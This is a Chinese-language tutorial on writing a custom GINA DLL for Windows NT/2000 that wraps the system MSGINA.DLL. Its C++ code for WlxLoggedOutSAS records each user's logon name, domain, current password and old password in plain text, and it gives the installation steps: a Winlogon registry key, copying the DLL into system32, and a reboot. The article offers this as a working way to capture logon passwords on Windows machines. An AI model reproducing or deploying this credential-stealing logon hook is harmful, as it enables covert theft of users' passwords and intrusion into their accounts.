一、原理
在NT/2000中交互式的登陸支持是由WinLogon調用GINA DLL實現的,GINA DLL提供了一個交互式的界面為用戶登陸提供認證請求。WinLogon會和GINA DLL進行交互,缺省是MSGINA.DLL(在System32目錄下)。微軟同時也為我們提供了接口,我們可以自己編寫GINA DLL來代替MSGINA.DLL。
WinLogon初始化時會創建3個桌面:
(1)、winlogon桌面:主要顯示Windows 安全等界面,如你按下CTRL+ALT+DEL,登陸的界面等
(2)、應用程序桌面:我們平時見到的那個有我的電腦的界面
(3)、屏幕保護桌面:屏幕保護顯示界面。
在默認情況下,GINA顯示登陸對話框,用戶輸入用戶名及密碼 。所以要獲得用戶名和密碼 ,則可以寫一個新的GINA DLL,其中提供接口調用msgina.dll的函數WlxLoggedOutSAS。
二、程序實現
GINA DLL要輸出下列函數(winlogon會調用):
(表一)GINA 函數一覽表
函數 描述 WlxActivateUserShell 激活用戶外殼程序 WlxDisplayLockedNotice 允許GINA DLL 顯示鎖定信息 WlxDisplaySASNotice 當沒有用戶登陸時,Winlogon調用此函數 WlxDisplayStatusMessage Winlogon 用一個狀態信息調用此函數進行顯示 WlxGetConsoleSwitchCredentials Winlogon調用此函數讀取當前登陸用戶的信任信息,並透明地將它們傳到目標會話 WlxGetStatusMessage Winlogon 調用此函數獲取當前狀態信息 WlxInitialize 針對指定的窗口位置進行GINA DLL初始化 WlxIsLockOk 驗證工作站正常鎖定 WlxIslogoffOk 驗證注銷正常 WlxLoggedOnSAS 用戶已登陸並且工作站沒有被加鎖,如果此時接收到SAS事件,則Winlogon 調用此函數 WlxLoggedOutSAS 沒有用戶登陸,如果此時收到SAS事件,則Winlogon 調用此函數, This indicates that a logon attempt should be made 。 WlxLogoff 請求注銷操作時通知GINA DLL WlxNegotiate 表示當前的Winlogon版本是否能使用GINA DLL WlxNetworkProviderLoad 在加載網絡服務提供程序收集了身份和認證信息後,Winlogon 調用此函數 WlxRemoveStatusMessage Winlogon 調用此函數告訴GINA DLL 停止顯示狀態信息 WlxScreensaverNotify 允許GINA與屏幕保護操作交互 WlxShutdown 在關閉之前Winlogon 調用此函數,允許GINA實現任何關閉任務,例如從讀卡器中退出智能卡 WlxStartApplication 當系統需要在用戶的上下文中啟動應用程序時調用此函數 WlxWkstaLockedSAS 當工作站被鎖定,如果接收到一個SAS,則Winlogon 調用此函數
為了簡化編程,我們從MSGINA.DLL中動態獲取上述函數,在自定義的DLL中(以下稱為MyGina.DLL)中直接調用MSGINA.DLL的函數即可。現在我們要處理的就是WlxLoggedOutSAS函數:
/********************************************************************/
//在啟動到登陸界面時,系統(Winlogon.exe)會調用WlxLoggedOutSAS!
int WINAPI WlxLoggedOutSAS (
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID * pProfile)
{
int iRet=0;
PWSTR pszUserName=NULL; //用戶名
PWSTR pszDomain=NULL; //機器名
PWSTR pszPassword=NULL; //密碼
PWSTR pszOldPassword=NULL; //舊密碼
PSTR pLogonTime=new char[100]; //登錄時間
//調用 標准MSGINA.DLL中的WlxLoggedOutSAS()函數
iRet = prcWlxLoggedOutSAS(
pWlxContext,
dwSasType,
pAuthenticationId,
pLogonSid,
pdwOptions,
phToken,
pMprNotifyInfo,
pProfile);
if(iRet == WLX_SAS_ACTION_LOGON)
{
//Get logon time
CTime tm=CTime::GetCurrentTime();
::sprintf(pLogonTime,"%d_%d_%d %d:%d:%d \r\n",
tm.GetYear(),
tm.GetMonth(),
tm.GetDay(),
tm.GetHour(),
tm.GetMinute(),
tm.GetSecond());
if(pLogonTime!=NULL)
{
WriteInfo("logon_time: ");
WriteInfo(pLogonTime);
}
// copy pMprNotifyInfo and pLogonSid for later use
pszUserName=pMprNotifyInfo->pszUserName;
if(pszUserName!=NULL)
{
WriteInfo("Username : ");
WriteInfoW(pszUserName);
}
pszDomain=pMprNotifyInfo->pszDomain;
if(pszDomain!=NULL)
{
WriteInfo("Domain : ");
WriteInfoW(pszDomain);
}
pszPassword =pMprNotifyInfo->pszPassword;
if(pszPassword!=NULL)
{
WriteInfo("PassWord : ");
WriteInfoW(pszPassword);
}
pszOldPassword=pMprNotifyInfo->pszOldPassword;
if(pszOldPassword!=NULL)
{
WriteInfo("OldPassword: ");
WriteInfoW(pszOldPassword);
}
}
return iRet;
}
/********************************************************************/
還有要注意的是,從pMprNotifyInfo獲得都是unicode字符串,顯示的時候要先把它們轉換成ASCII字符串 :
void WriteInfoW(PWSTR WideStr) //顯示unicode字符串信息
{
//獲取unicode字符串的字符個數
int nstrlen=WideCharToMultiByte(CP_ACP,0,WideStr,-1, NULL,0,NULL,NULL);
//在進程堆中分配空間
PSTR tempStr=(PSTR)HeapAlloc(GetProcessHeap(),0,nstrlen);
if(tempStr==NULL) return ;
//把unicode字符串轉換為ASCII字符串
WideCharToMultiByte(CP_ACP,0,WideSt ,-1, tempStr,nstrlen,NULL,NULL);
WriteInfo(tempStr); //顯示ASCII字符串信息
//釋放分配的堆空間
HeapFree(GetProcessHeap(),0,tempStr);
}
三、安裝和注意事項:
在編寫GIAN DLL中要注意,GINA DLL使用的是unicode。
【安裝】GINA DLL的安裝:
1. 添加注冊表
鍵名 : \HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
變量名 : GinaDLL
變量類型 : [REG_SZ]
內容 : "你的GINA DLL的名稱" 如:"MyGina.DLL:
2. 將你的GINA DLL(MyGina.dll)拷貝到系統目錄下(system32);
3. 重啟機器,你的GINA DLL(MyGina.dll)就會運行。
【注意】
1. 如果出現進不了你的系統,那你進入DOS後,將msgina.dll拷貝成你的GINA DLL(MyGina.dll)就可進入了;或者進入安全模式,刪除掉那個鍵值( GinaDLL )。
2. Console 程序如果想使用MFC類,必須包含<afx.h>,同時注釋掉<windows.h>。
3. 如果出現這種錯誤:“LINK : fatal error LNK1104: cannot open file "mfc42u.lib" ”,那麼說明 lib路徑的設置問題,你的鏈接器在指定的目錄下沒有找到這個的文件,你應該添加新的目錄以便編譯器找到所需的庫文件。具體位置:IDE中 菜單Tools\Options\Directories\show directories for\ <library files>。
4. 如果出現這種錯誤:“uafxcwd.lib(dllmodul.obj) : error LNK2005: _DllMain@12 already defined in main.obj ”或者“mfcs42ud.lib(dllmodul.obj) : error LNK2005: _DllMain@12 already defined in main.obj ”,那麼“See if you have _AFXDLL and _USRDLL in the preprocessor definitions. Try removing one of them”。具體位置:IDE中 菜單Project \ Setting \ C/C++ \ preprocessor definition 。
本文配套源碼